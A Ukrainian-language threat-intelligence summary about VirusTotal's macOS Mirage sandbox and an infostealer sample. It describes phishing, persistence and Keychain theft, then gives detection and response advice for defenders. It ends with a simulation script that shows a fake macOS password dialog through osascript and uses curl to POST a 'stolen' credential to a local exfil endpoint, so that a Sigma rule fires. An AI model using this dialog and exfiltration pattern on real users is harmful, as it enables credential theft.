macOS Mirage: Динамічний аналіз і виявлення Sigma для Apple Silicon

Резюме

VirusTotal представив macOS Mirage, нову динамічну пісочницю для аналізу, спеціально розроблену для Apple Silicon (ARM64) та macOS 26. Платформа забезпечує високоточну поведінкову телеметрію та автоматизовані виявлення Sigma для ідентифікації загроз macOS, що розвиваються, таких як викрадачі інформації та шкідливе програмне забезпечення для фішингу облікових даних. Це відповідає переходу від систем Intel до ARM64, працюючи проти сучасних захистів, включаючи захист цілісності системи (SIP).

Дослідження

Звіт аналізує зразок викрадача інформації macOS, unix51436504, який використовує AppleScript для фішингу та багатоступеневі навантаження для збереження та викрадання даних. Дослідники відстежили шкідливе програмне забезпечення від початкового оманливого запиту на пароль через стійкість на основі LaunchDaemons та ексфільтрацію даних Keychain, Safari та Apple Notes. Пісочниця успішно зіставила ці поведінки з відповідними техніками MITRE ATT&CK, використовуючи правила Sigma.

Зменшення ризиків

Хоча конкретні оновлення програмного забезпечення не зазначені, звіт підкреслює важливість моніторингу несанкціонованого доступу до чутливих місць, таких як бази даних Keychain, TCC.db та LaunchDaemons. Організації мають виявляти підозріле використання утиліт командного рядка, включаючи osascript, curl та ditto, коли вони виконуються у незвичайних контекстах. Моніторинг багатоступеневих шаблонів виконання та неочікуваних змін файлів у /tmp/ або домашніх директоріях користувача також є критично важливим.

Відповідь

Коли такі поведінки виявлено, реагуючі повинні негайно ізолювати уражений пристрій macOS, щоб запобігти додатковій ексфільтрації даних. Дослідіть механізми стійкості, з особливою увагою до /Library/LaunchDaemons та LaunchAgents на рівні користувача. Проведіть всебічний перегляд даних Keychain, облікових даних браузера та ключів SSH на наявність можливого компромісу та скиньте всі розкриті чутливі облікові дані.

Виконання симуляції

• Опис атаки та команди: Суперник намагається отримати облікові дані користувача, представляючи переконливе, але фальшиве системне діалогове вікно. Атакуючий використовує osascript щоб викликати діалогове вікно macOS. Щоб імітувати специфічну логіку правила виявлення (яке шукає конкретну помилку ‘passwen’), сценарій навмисно використовуватиме цей рядок. Як тільки користувач “подає” фальшивий пароль, сценарій використовує curl для POST захоплених даних на віддалений приймач, моделюючи фазу ексфільтрації викрадача інформації.

• Сценарій регресійного тестування:

  #!/bin/bash
  # Симуляція фішингу облікових даних викрадача інформації macOS
  
  # 1. Виклик фальшивого діалогового вікна (збігається з indicator1 та indicator2)
  # Примітка: Використання 'passwen' для виклику специфічної логіки в правилі виявлення
  osascript -e 'set passwen to display dialog "Системне оновлення безпеки: Введіть свій пароль macOS, щоб продовжити" default answer "" with icon caution'
  
  # 2. Моделювання ексфільтрації через curl (збігається з indicator3)
  # Ми моделюємо відправлення "вкраденого" рядка на локальну/віддалену кінцеву точку
  curl -X POST -d "password=stolen_credential_example" http://localhost:8080/exfil
  
  echo "[+] Симуляція завершена. Перевірте SIEM для сповіщень."

• Команди очищення:

  # Під час цієї симуляції жодні постійні файли не було створено.
  # Якщо якісь тимчасові файли використовувались для підготовки даних, вони були б видалені тут.
  rm -f /tmp/stolen_creds.txt